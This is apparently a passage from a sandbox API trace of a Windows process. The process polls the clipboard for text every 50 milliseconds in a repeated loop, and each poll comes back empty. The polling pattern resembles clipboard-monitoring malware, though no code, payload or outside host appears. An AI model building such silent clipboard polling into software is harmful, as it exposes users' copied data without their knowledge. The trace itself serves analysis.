[0247.351] GetClipboardData (uFormat=0x1) returned 0x0
[0247.351] CloseClipboard () returned 1
[0247.351] Sleep (dwMilliseconds=0x32)
[0247.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee671de5, dwHighDateTime=0x1d96e12))
[0247.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.368] GetClipboardData (uFormat=0x1) returned 0x0
[0247.368] CloseClipboard () returned 1
[0247.368] Sleep (dwMilliseconds=0x32)
[0247.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee698038, dwHighDateTime=0x1d96e12))
[0247.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.383] GetClipboardData (uFormat=0x1) returned 0x0
[0247.383] CloseClipboard () returned 1
[0247.383] Sleep (dwMilliseconds=0x32)
[0247.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee6be295, dwHighDateTime=0x1d96e12))
[0247.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.398] GetClipboardData (uFormat=0x1) returned 0x0
[0247.398] CloseClipboard () returned 1
[0247.398] Sleep (dwMilliseconds=0x32)
[0247.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee6e44e9, dwHighDateTime=0x1d96e12))
[0247.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.415] GetClipboardData (uFormat=0x1) returned 0x0
[0247.415] CloseClipboard () returned 1
[0247.415] Sleep (dwMilliseconds=0x32)
[0247.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee70a754, dwHighDateTime=0x1d96e12))
[0247.437] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.437] GetClipboardData (uFormat=0x1) returned 0x0
[0247.437] CloseClipboard () returned 1
[0247.437] Sleep (dwMilliseconds=0x32)
[0247.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee7309a5, dwHighDateTime=0x1d96e12))
[0247.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.446] GetClipboardData (uFormat=0x1) returned 0x0
[0247.447] CloseClipboard () returned 1
[0247.447] Sleep (dwMilliseconds=0x32)
[0247.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee756bff, dwHighDateTime=0x1d96e12))
[0247.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.461] GetClipboardData (uFormat=0x1) returned 0x0
[0247.461] CloseClipboard () returned 1
[0247.461] Sleep (dwMilliseconds=0x32)
[0247.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee77ce55, dwHighDateTime=0x1d96e12))
[0247.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.476] GetClipboardData (uFormat=0x1) returned 0x0
[0247.476] CloseClipboard () returned 1
[0247.476] Sleep (dwMilliseconds=0x32)
[0247.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee7a30b7, dwHighDateTime=0x1d96e12))
[0247.493] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.493] GetClipboardData (uFormat=0x1) returned 0x0
[0247.493] CloseClipboard () returned 1
[0247.494] Sleep (dwMilliseconds=0x32)
[0247.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee7c930c, dwHighDateTime=0x1d96e12))
[0247.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.507] GetClipboardData (uFormat=0x1) returned 0x0
[0247.508] CloseClipboard () returned 1
[0247.508] Sleep (dwMilliseconds=0x32)
[0247.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee7ef565, dwHighDateTime=0x1d96e12))
[0247.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.523] GetClipboardData (uFormat=0x1) returned 0x0
[0247.523] CloseClipboard () returned 1
[0247.523] Sleep (dwMilliseconds=0x32)
[0247.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee8157c3, dwHighDateTime=0x1d96e12))
[0247.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.540] GetClipboardData (uFormat=0x1) returned 0x0
[0247.540] CloseClipboard () returned 1
[0247.540] Sleep (dwMilliseconds=0x32)
[0247.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee83ba22, dwHighDateTime=0x1d96e12))
[0247.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.554] GetClipboardData (uFormat=0x1) returned 0x0
[0247.555] CloseClipboard () returned 1
[0247.555] Sleep (dwMilliseconds=0x32)
[0247.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee861c6b, dwHighDateTime=0x1d96e12))
[0247.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.571] GetClipboardData (uFormat=0x1) returned 0x0
[0247.572] CloseClipboard () returned 1
[0247.572] Sleep (dwMilliseconds=0x32)
[0247.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee887ecc, dwHighDateTime=0x1d96e12))
[0247.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.586] GetClipboardData (uFormat=0x1) returned 0x0
[0247.586] CloseClipboard () returned 1
[0247.586] Sleep (dwMilliseconds=0x32)
[0247.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee8ae122, dwHighDateTime=0x1d96e12))
[0247.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.601] GetClipboardData (uFormat=0x1) returned 0x0
[0247.601] CloseClipboard () returned 1
[0247.601] Sleep (dwMilliseconds=0x32)
[0247.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee8d4388, dwHighDateTime=0x1d96e12))
[0247.619] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.619] GetClipboardData (uFormat=0x1) returned 0x0
[0247.619] CloseClipboard () returned 1
[0247.619] Sleep (dwMilliseconds=0x32)
[0247.686] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee96cd15, dwHighDateTime=0x1d96e12))
[0247.686] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.686] GetClipboardData (uFormat=0x1) returned 0x0
[0247.686] CloseClipboard () returned 1
[0247.686] Sleep (dwMilliseconds=0x32)
[0247.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee992f53, dwHighDateTime=0x1d96e12))
[0247.700] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.701] GetClipboardData (uFormat=0x1) returned 0x0
[0247.701] CloseClipboard () returned 1
[0247.701] Sleep (dwMilliseconds=0x32)
[0247.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee9b91aa, dwHighDateTime=0x1d96e12))
[0247.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.711] GetClipboardData (uFormat=0x1) returned 0x0
[0247.711] CloseClipboard () returned 1
[0247.711] Sleep (dwMilliseconds=0x32)
[0247.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xee9df400, dwHighDateTime=0x1d96e12))
[0247.730] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.730] GetClipboardData (uFormat=0x1) returned 0x0
[0247.730] CloseClipboard () returned 1
[0247.730] Sleep (dwMilliseconds=0x32)
[0247.744] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeea05657, dwHighDateTime=0x1d96e12))
[0247.744] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.744] GetClipboardData (uFormat=0x1) returned 0x0
[0247.744] CloseClipboard () returned 1
[0247.744] Sleep (dwMilliseconds=0x32)
[0247.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeea2b8b8, dwHighDateTime=0x1d96e12))
[0247.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.758] GetClipboardData (uFormat=0x1) returned 0x0
[0247.758] CloseClipboard () returned 1
[0247.758] Sleep (dwMilliseconds=0x32)
[0247.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeea51b04, dwHighDateTime=0x1d96e12))
[0247.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.773] GetClipboardData (uFormat=0x1) returned 0x0
[0247.773] CloseClipboard () returned 1
[0247.773] Sleep (dwMilliseconds=0x32)
[0247.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeea77d56, dwHighDateTime=0x1d96e12))
[0247.790] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.790] GetClipboardData (uFormat=0x1) returned 0x0
[0247.790] CloseClipboard () returned 1
[0247.791] Sleep (dwMilliseconds=0x32)
[0247.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeea9dfb6, dwHighDateTime=0x1d96e12))
[0247.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.804] GetClipboardData (uFormat=0x1) returned 0x0
[0247.805] CloseClipboard () returned 1
[0247.805] Sleep (dwMilliseconds=0x32)
[0247.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeac420f, dwHighDateTime=0x1d96e12))
[0247.822] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.822] GetClipboardData (uFormat=0x1) returned 0x0
[0247.822] CloseClipboard () returned 1
[0247.822] Sleep (dwMilliseconds=0x32)
[0247.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeaea473, dwHighDateTime=0x1d96e12))
[0247.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.836] GetClipboardData (uFormat=0x1) returned 0x0
[0247.836] CloseClipboard () returned 1
[0247.836] Sleep (dwMilliseconds=0x32)
[0247.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeb107dd, dwHighDateTime=0x1d96e12))
[0247.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.851] GetClipboardData (uFormat=0x1) returned 0x0
[0247.852] CloseClipboard () returned 1
[0247.852] Sleep (dwMilliseconds=0x32)
[0247.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeb3692a, dwHighDateTime=0x1d96e12))
[0247.868] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.868] GetClipboardData (uFormat=0x1) returned 0x0
[0247.868] CloseClipboard () returned 1
[0247.868] Sleep (dwMilliseconds=0x32)
[0247.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeb5cb80, dwHighDateTime=0x1d96e12))
[0247.883] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.883] GetClipboardData (uFormat=0x1) returned 0x0
[0247.883] CloseClipboard () returned 1
[0247.883] Sleep (dwMilliseconds=0x32)
[0247.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeb82dd0, dwHighDateTime=0x1d96e12))
[0247.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.898] GetClipboardData (uFormat=0x1) returned 0x0
[0247.898] CloseClipboard () returned 1
[0247.898] Sleep (dwMilliseconds=0x32)
[0247.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeba9031, dwHighDateTime=0x1d96e12))
[0247.915] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.915] GetClipboardData (uFormat=0x1) returned 0x0
[0247.915] CloseClipboard () returned 1
[0247.915] Sleep (dwMilliseconds=0x32)
[0247.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeebcf284, dwHighDateTime=0x1d96e12))
[0247.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.929] GetClipboardData (uFormat=0x1) returned 0x0
[0247.929] CloseClipboard () returned 1
[0247.929] Sleep (dwMilliseconds=0x32)
[0247.946] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeebf54e4, dwHighDateTime=0x1d96e12))
[0247.946] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.947] GetClipboardData (uFormat=0x1) returned 0x0
[0247.947] CloseClipboard () returned 1
[0247.947] Sleep (dwMilliseconds=0x32)
[0247.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeec1b73a, dwHighDateTime=0x1d96e12))
[0247.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.961] GetClipboardData (uFormat=0x1) returned 0x0
[0247.961] CloseClipboard () returned 1
[0247.961] Sleep (dwMilliseconds=0x32)
[0247.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeec41994, dwHighDateTime=0x1d96e12))
[0247.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.976] GetClipboardData (uFormat=0x1) returned 0x0
[0247.976] CloseClipboard () returned 1
[0247.976] Sleep (dwMilliseconds=0x32)
[0247.993] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeec67bea, dwHighDateTime=0x1d96e12))
[0247.993] OpenClipboard (hWndNewOwner=0x0) returned 1
[0247.993] GetClipboardData (uFormat=0x1) returned 0x0
[0247.993] CloseClipboard () returned 1
[0247.993] Sleep (dwMilliseconds=0x32)
[0248.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeec8de4f, dwHighDateTime=0x1d96e12))
[0248.008] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.008] GetClipboardData (uFormat=0x1) returned 0x0
[0248.008] CloseClipboard () returned 1
[0248.008] Sleep (dwMilliseconds=0x32)
[0248.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeecb409e, dwHighDateTime=0x1d96e12))
[0248.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.023] GetClipboardData (uFormat=0x1) returned 0x0
[0248.023] CloseClipboard () returned 1
[0248.023] Sleep (dwMilliseconds=0x32)
[0248.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeecda305, dwHighDateTime=0x1d96e12))
[0248.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.040] GetClipboardData (uFormat=0x1) returned 0x0
[0248.040] CloseClipboard () returned 1
[0248.040] Sleep (dwMilliseconds=0x32)
[0248.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeed0055a, dwHighDateTime=0x1d96e12))
[0248.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.054] GetClipboardData (uFormat=0x1) returned 0x0
[0248.054] CloseClipboard () returned 1
[0248.054] Sleep (dwMilliseconds=0x32)
[0248.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeed267b8, dwHighDateTime=0x1d96e12))
[0248.072] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.072] GetClipboardData (uFormat=0x1) returned 0x0
[0248.072] CloseClipboard () returned 1
[0248.072] Sleep (dwMilliseconds=0x32)
[0248.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeed4ca10, dwHighDateTime=0x1d96e12))
[0248.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.086] GetClipboardData (uFormat=0x1) returned 0x0
[0248.086] CloseClipboard () returned 1
[0248.086] Sleep (dwMilliseconds=0x32)
[0248.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeed72c62, dwHighDateTime=0x1d96e12))
[0248.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.101] GetClipboardData (uFormat=0x1) returned 0x0
[0248.101] CloseClipboard () returned 1
[0248.101] Sleep (dwMilliseconds=0x32)
[0248.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeed98ec2, dwHighDateTime=0x1d96e12))
[0248.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.118] GetClipboardData (uFormat=0x1) returned 0x0
[0248.118] CloseClipboard () returned 1
[0248.118] Sleep (dwMilliseconds=0x32)
[0248.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeedbf121, dwHighDateTime=0x1d96e12))
[0248.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.133] GetClipboardData (uFormat=0x1) returned 0x0
[0248.133] CloseClipboard () returned 1
[0248.133] Sleep (dwMilliseconds=0x32)
[0248.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeede537a, dwHighDateTime=0x1d96e12))
[0248.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.148] GetClipboardData (uFormat=0x1) returned 0x0
[0248.148] CloseClipboard () returned 1
[0248.148] Sleep (dwMilliseconds=0x32)
[0248.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeee0b5d6, dwHighDateTime=0x1d96e12))
[0248.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.165] GetClipboardData (uFormat=0x1) returned 0x0
[0248.165] CloseClipboard () returned 1
[0248.165] Sleep (dwMilliseconds=0x32)
[0248.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeee31826, dwHighDateTime=0x1d96e12))
[0248.180] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.180] GetClipboardData (uFormat=0x1) returned 0x0
[0248.180] CloseClipboard () returned 1
[0248.180] Sleep (dwMilliseconds=0x32)
[0248.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeee57a8f, dwHighDateTime=0x1d96e12))
[0248.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.197] GetClipboardData (uFormat=0x1) returned 0x0
[0248.197] CloseClipboard () returned 1
[0248.197] Sleep (dwMilliseconds=0x32)
[0248.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeee7dce5, dwHighDateTime=0x1d96e12))
[0248.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.211] GetClipboardData (uFormat=0x1) returned 0x0
[0248.211] CloseClipboard () returned 1
[0248.211] Sleep (dwMilliseconds=0x32)
[0248.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeea3f33, dwHighDateTime=0x1d96e12))
[0248.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.226] GetClipboardData (uFormat=0x1) returned 0x0
[0248.226] CloseClipboard () returned 1
[0248.226] Sleep (dwMilliseconds=0x32)
[0248.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeeca189, dwHighDateTime=0x1d96e12))
[0248.243] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.243] GetClipboardData (uFormat=0x1) returned 0x0
[0248.243] CloseClipboard () returned 1
[0248.244] Sleep (dwMilliseconds=0x32)
[0248.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeef03f0, dwHighDateTime=0x1d96e12))
[0248.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.258] GetClipboardData (uFormat=0x1) returned 0x0
[0248.258] CloseClipboard () returned 1
[0248.258] Sleep (dwMilliseconds=0x32)
[0248.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeef1664b, dwHighDateTime=0x1d96e12))
[0248.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.273] GetClipboardData (uFormat=0x1) returned 0x0
[0248.273] CloseClipboard () returned 1
[0248.273] Sleep (dwMilliseconds=0x32)
[0248.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeef3c89a, dwHighDateTime=0x1d96e12))
[0248.290] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.290] GetClipboardData (uFormat=0x1) returned 0x0
[0248.290] CloseClipboard () returned 1
[0248.291] Sleep (dwMilliseconds=0x32)
[0248.304] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeef62af9, dwHighDateTime=0x1d96e12))
[0248.304] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.304] GetClipboardData (uFormat=0x1) returned 0x0
[0248.304] CloseClipboard () returned 1
[0248.305] Sleep (dwMilliseconds=0x32)
[0248.321] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeef88d55, dwHighDateTime=0x1d96e12))
[0248.321] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.321] GetClipboardData (uFormat=0x1) returned 0x0
[0248.322] CloseClipboard () returned 1
[0248.322] Sleep (dwMilliseconds=0x32)
[0248.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeefaefaa, dwHighDateTime=0x1d96e12))
[0248.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.336] GetClipboardData (uFormat=0x1) returned 0x0
[0248.336] CloseClipboard () returned 1
[0248.336] Sleep (dwMilliseconds=0x32)
[0248.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeefd5204, dwHighDateTime=0x1d96e12))
[0248.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.351] GetClipboardData (uFormat=0x1) returned 0x0
[0248.351] CloseClipboard () returned 1
[0248.351] Sleep (dwMilliseconds=0x32)
[0248.368] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xeeffb46e, dwHighDateTime=0x1d96e12))
[0248.368] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.368] GetClipboardData (uFormat=0x1) returned 0x0
[0248.368] CloseClipboard () returned 1
[0248.368] Sleep (dwMilliseconds=0x32)
[0248.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef0216c1, dwHighDateTime=0x1d96e12))
[0248.383] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.383] GetClipboardData (uFormat=0x1) returned 0x0
[0248.383] CloseClipboard () returned 1
[0248.383] Sleep (dwMilliseconds=0x32)
[0248.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef047913, dwHighDateTime=0x1d96e12))
[0248.398] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.398] GetClipboardData (uFormat=0x1) returned 0x0
[0248.398] CloseClipboard () returned 1
[0248.399] Sleep (dwMilliseconds=0x32)
[0248.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef06db6d, dwHighDateTime=0x1d96e12))
[0248.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.415] GetClipboardData (uFormat=0x1) returned 0x0
[0248.415] CloseClipboard () returned 1
[0248.415] Sleep (dwMilliseconds=0x32)
[0248.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef093dce, dwHighDateTime=0x1d96e12))
[0248.434] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.434] GetClipboardData (uFormat=0x1) returned 0x0
[0248.434] CloseClipboard () returned 1
[0248.434] Sleep (dwMilliseconds=0x32)
[0248.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef0ba028, dwHighDateTime=0x1d96e12))
[0248.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.446] GetClipboardData (uFormat=0x1) returned 0x0
[0248.447] CloseClipboard () returned 1
[0248.447] Sleep (dwMilliseconds=0x32)
[0248.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef0e027e, dwHighDateTime=0x1d96e12))
[0248.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.461] GetClipboardData (uFormat=0x1) returned 0x0
[0248.461] CloseClipboard () returned 1
[0248.461] Sleep (dwMilliseconds=0x32)
[0248.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef1064dd, dwHighDateTime=0x1d96e12))
[0248.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.476] GetClipboardData (uFormat=0x1) returned 0x0
[0248.476] CloseClipboard () returned 1
[0248.476] Sleep (dwMilliseconds=0x32)
[0248.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xef12c734, dwHighDateTime=0x1d96e12))
[0248.494] OpenClipboard (hWndNewOwner=0x0) returned 1
[0248.494] GetClipboardData (uFormat=0x1) returned 0x0
[0248.494] CloseClipboard () returned 1
[0248.494] Sleep (dwMilliseconds=0x32)
